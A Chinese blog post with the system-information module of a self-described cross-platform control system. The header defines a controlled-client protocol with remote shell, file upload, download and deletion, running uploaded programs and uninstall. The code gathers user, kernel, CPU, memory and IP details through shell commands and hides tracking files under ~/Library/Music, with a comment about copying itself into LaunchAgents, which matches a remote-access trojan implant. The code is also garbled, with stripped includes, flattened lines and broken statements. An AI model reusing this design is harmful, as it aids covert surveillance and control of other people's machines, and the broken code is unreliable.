windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
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控制集成系统需要了解系统的各项硬件信息，之前我们设计的时候，习惯使用c函数来搞，后来可能发现程序的移植性收到了一些影响，比如unix内核的一些c函数在linux下面是没有的：
比如
苹果达尔文内核的如下东西，linux里面就没有：
//kern_return_t kr; //host_name_port_t myhost; // kernel_version_t kversion; // host_basic_info_data_t hinfo; // mach_msg_type_number_t count; char *cpu_type_name,*cpu_subtype_name; // vm_size_t page_size;
// myhost = mach_host_self(); // kr = host_kernel_version(myhost, kversion); // count = HOST_BASIC_INFO_COUNT; // kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count); // kr = host_page_size(myhost, &page_size); //
所以换一种思路我们考虑使用，shell命令获取信息，完后进行字符处理，这样即使换了系统，我们代码里面换换shell命令就可以了。
使用到的一些结构体跟宏定义：
// Created by mac mac on 13-5-8.// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.//#ifndef mac_client_mac_h#define mac_client_mac_h/*1.注意中文标点，编译器不容易察觉2.server 和client端的宏定义大小要统一*//#define MAX_SIZE 1024#define MAX_NAME_LENGTH 64#define MAX_PATH 260 //保持和windows端定义的一样#define MAX_PATH_MAC 256 //苹果的最大长度#define FALSE 0#define TRUE 1#define MAX_SEND_BUFFER 1024*4#define MAX_RECV_BUFFER 1024*4/typedef struct Command //自定义命令结构体{ int order;//命令序号 long datasize; void * hwnd;//窗口句柄 }Command; typedef struct Server_Address //服务器地址{ char strIP[3][MAX_PATH];//服务器ip unsigned int uPort[3] ; //服务器端口 char remark[MAX_NAME_LENGTH];}Server_Address;typedef struct _SYS_INFO //到时候得增加备注{ Command cmd; char remark[MAX_NAME_LENGTH]; //备注 char computer_name[MAX_NAME_LENGTH]; // char user_name[MAX_NAME_LENGTH]; // char sys_version[MAX_NAME_LENGTH]; // char cpu_type[MAX_NAME_LENGTH]; // char host_ip_address[MAX_NAME_LENGTH]; //内网ip char ip_addresss[MAX_NAME_LENGTH]; //外网ip char uuid[MAX_NAME_LENGTH]; //被控端的唯一标识 unsigned int cpu_num; // unsigned int mem_total; // int host_id; //}SYS_INFO;enum { COMMAND_BIGIN = 20000, //命令开始 TOKEN_ONLINE, //上线命令 COMMAND_BREAK, //断开链接 COMMAND_UNINSTALL, //卸载 COMMAND_MODIFY_REMARK, //修改备注/// COMMAND_MANAGER_FILE, //打开文件管理窗口 COMMAND_GET_DIRECTORY, //获取控制端主机根目录下所有文件信息 COMMAND_GET_REQUEST_DIRECTORY, //获取双击请求目录中所有文件信息 COMMAND_SEARCH_FILE, //文件搜索，还没做 COMMAND_WRONG_DIRECTORY, //目录为空或者不可读 COMMAND_DELETE_FILE, //删除文件 COMMAND_FILE_CLOSE, //关闭当前文件管理功能的链接// COMMAND_MANAGER_CMD, //打开cmd管理窗口 TOKEN_CMD_NEXT, //等待下一个命令 COMMAND_SHELL, //控制端请求的shell命令 COMMAND_SHELL_CLOSE, //关闭shell// COMMAND_MANAGER_DOWNLOAD, //打开文件下载功能 TOKEN_DOWNLOAD_SETUP, //控制端发送文件下载连接和uuid COMMAND_GET_FILEDATA, //请求文件数据 TOKEN_SENT_FILEDATA, //发送文件数据 TOKEN_CANT_GET_DATA, //给控制端发送消息文件不可读 COMMAND_MANAGER_UPLOAD, //开启文件上传 TOKEN_UPLOAD_SETUP, //接受文件上传连接 COMMAND_SENT_UPLOAD_DATA, //发送上传文件数据 TOKEN_UPLOAD_DATA, //请求上传文件数据 TOKEN_UPLOAD_COMPLETE, //文件上传完成 COMMAND_RUN_PROGARM, //上传运行的文件 COMMAND_UPLOAD_CLOSE, //关闭上传进程和连接 };#endif
下面是代码：
Systeminfo.h
/* * File: System_Info.h * Author: Administrator * * Created on */#ifndef SYSTEM_INFO_H#define SYSTEM_INFO_H#include实现：#include #include #include // for sockaddr_in#include // for socket#include // for socket#include // for printf#include // for exit#include #include //for th/Users/twd/Desktop/NewPc/mainread#include //for bool#include //for utf-8 gb2312#include #include #include //for dir#include #include #include //honts, inet_addr#include //isdigit#include //errno#include //OWRONLY#include #include //for username//#include //#include #include #include #include "mac.h"//#include #include using namespace std;int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用void writeBeizhuInfo(char *beizhu);//写备份文件char * readUuidInfo(SYS_INFO* si);//读取生成的uuidchar * readUuid();void writeUuidInfo_info();bool GetHost(char *domainName,char * ip);char * readDirectory(char * directory);//上传文件的目录int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息#endif /* SYSTEM_INFO_H */
//// SystemInfo.cpp// mac_client//// Created by mac mac on 13-5-21.// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.////#ifdef __cplusplus//extern "C" {//#endif//#include #include "SystemInfo.h"#include int beizhuaccess = 0; //标志位，备注有没有改变bool GetHost(char *domainName,char * ip){ int i; struct hostent *he; struct in_addr **addr_list; //char * name = "www.csdn.net"; if ((he = gethostbyname(domainName)) == NULL) { // get the host info herror("gethostbyname"); return NULL; } // print information about this host: printf("Official name is: %s\n", he->h_name); printf(" IP addresses: "); addr_list = (struct in_addr **)he->h_addr_list; for(i = 0; addr_list[i] != NULL; i++) { printf("%s ", inet_ntoa(*addr_list[i])); sprintf(ip, "%s",inet_ntoa(*addr_list[i])); } ///return printf("\n"); return ip;}void get_ip(SYS_INFO* si){ //char hname[128]; struct hostent *hent; int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); //hent = gethostent(); hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name); for(i = 0; hent->h_addr_list[i]; i++) { printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i]))); memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address)); printf("%s\n",si->host_ip_address); }}char * readDirectory(char * directory){ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 //char path[MAX_NAME_LENGTH]; sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(directory,zhuliuPath,login_name); return directory;}char * readUuid(){ char path[MAX_PATH] = {0}; char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); //if (access(path,0)==0) //{ FILE *fp = fopen(path, "r"); fgets(uuid,MAX_NAME_LENGTH,fp); fclose(fp); return uuid;}char * readUuidInfo(SYS_INFO* si){ char path[MAX_PATH] = {0}; char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名// sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); FILE *fp = fopen(path, "r"); fgets(uuid,MAX_NAME_LENGTH,fp); fclose(fp); strcat(si->uuid, uuid); return uuid;}void writeBeizhuInfo(char *beizhu){ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/beizhu.lol"); //if (access(path,0)==0) //{ FILE *fp = fopen(path, "w"); fputs(beizhu,fp); //strcpy(si->remark, beizhu); //} fclose(fp);}int myexec(const char *cmd, string &resvec) { resvec.clear(); FILE *pp = popen(cmd, "r"); //建立管道 if (!pp) { return -1; } char tmp[1024]; //设置一个合适的长度，以存储每一行输出 while (fgets(tmp, sizeof(tmp), pp) != NULL) { if (tmp[strlen(tmp) - 1] == '\n') { tmp[strlen(tmp) - 1] = '\0'; //去除换行符 } resvec.append(tmp); } pclose(pp); //关闭管道 return resvec.size();}void writeUuidInfo_info(){ FILE *fp = popen("uuidgen", "r");//打开管道，执行命令,生成uuid char buffer[MAX_NAME_LENGTH] = {0}; while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印 { printf(buffer); } //fclose(fp); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); //* // int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹，把自身拷贝进去 // if(IsHave<0)//创建新目录 //{ // printf("mkdir failed\n"); // exit(0); // } string str_mkdir = "mkdir -p "; str_mkdir.append(path); string str_mkdir_result; myexec(str_mkdir.c_str(),str_mkdir_result); strcat(path, "/uuid.lol"); FILE *fpf = fopen(path, "w"); int i = fputs(buffer,fpf); fclose(fpf); pclose(fp);}int GetDeviceInfo(SYS_INFO *si){ char temp[64]={0}; gethostname(si->computer_name,sizeof(si->computer_name)); struct passwd *passwd; passwd = getpwuid (getuid()); struct group *group; group = getgrgid (passwd->pw_gid); sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name); string str_kernel; myexec("uname -sr",str_kernel); cout< < sys_version,str_kernel.c_str()); string str_cpu; myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu); cout< < cpu_type,str_cpu.c_str()); puts(si->computer_name); struct hostent *hent; int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); hent = gethostent(); //hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name); for(i = 0; hent->h_addr_list[i]; i++) { printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i]))); memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address)); } printf("%s\n",si->host_ip_address); string str_mem_total; myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total); cout< < mem_total = atoi(str_mem_total.c_str()); // strcat(si->cpu_type,str_cpu.c_str()); printf("%s\n",si->user_name); printf("%s\n",si->sys_version); printf("%s\n",si->cpu_type); printf("cpu:%d\n",si->cpu_num); printf("memory:%d\n",si->mem_total);///读备注文件// char path[MAX_PATH] = {0}; char beizhu[MAX_PATH_MAC] = {0}; sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径 //sprintf(path,zhuliuPath,passwd->pw_name); strcat(path, "/beizhu.lol"); if (access(path,0)==0) { FILE *fp = fopen(path, "r"); fgets(beizhu,MAX_NAME_LENGTH,fp); fclose(fp); beizhuaccess = 1; strcpy(si->remark, beizhu); } else { strcpy(si->remark, "default"); }///读取uuid char uuidPath[MAX_PATH] = {0}; sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name); strcat(uuidPath, "/uuid.lol"); if (access(uuidPath,0)==0) { readUuidInfo(si); } else { writeUuidInfo_info(); readUuidInfo(si); }/ return 0;}//#ifdef __cplusplus//}//#endif
搭建传输的socket平台参考下面博文：
实现效果：
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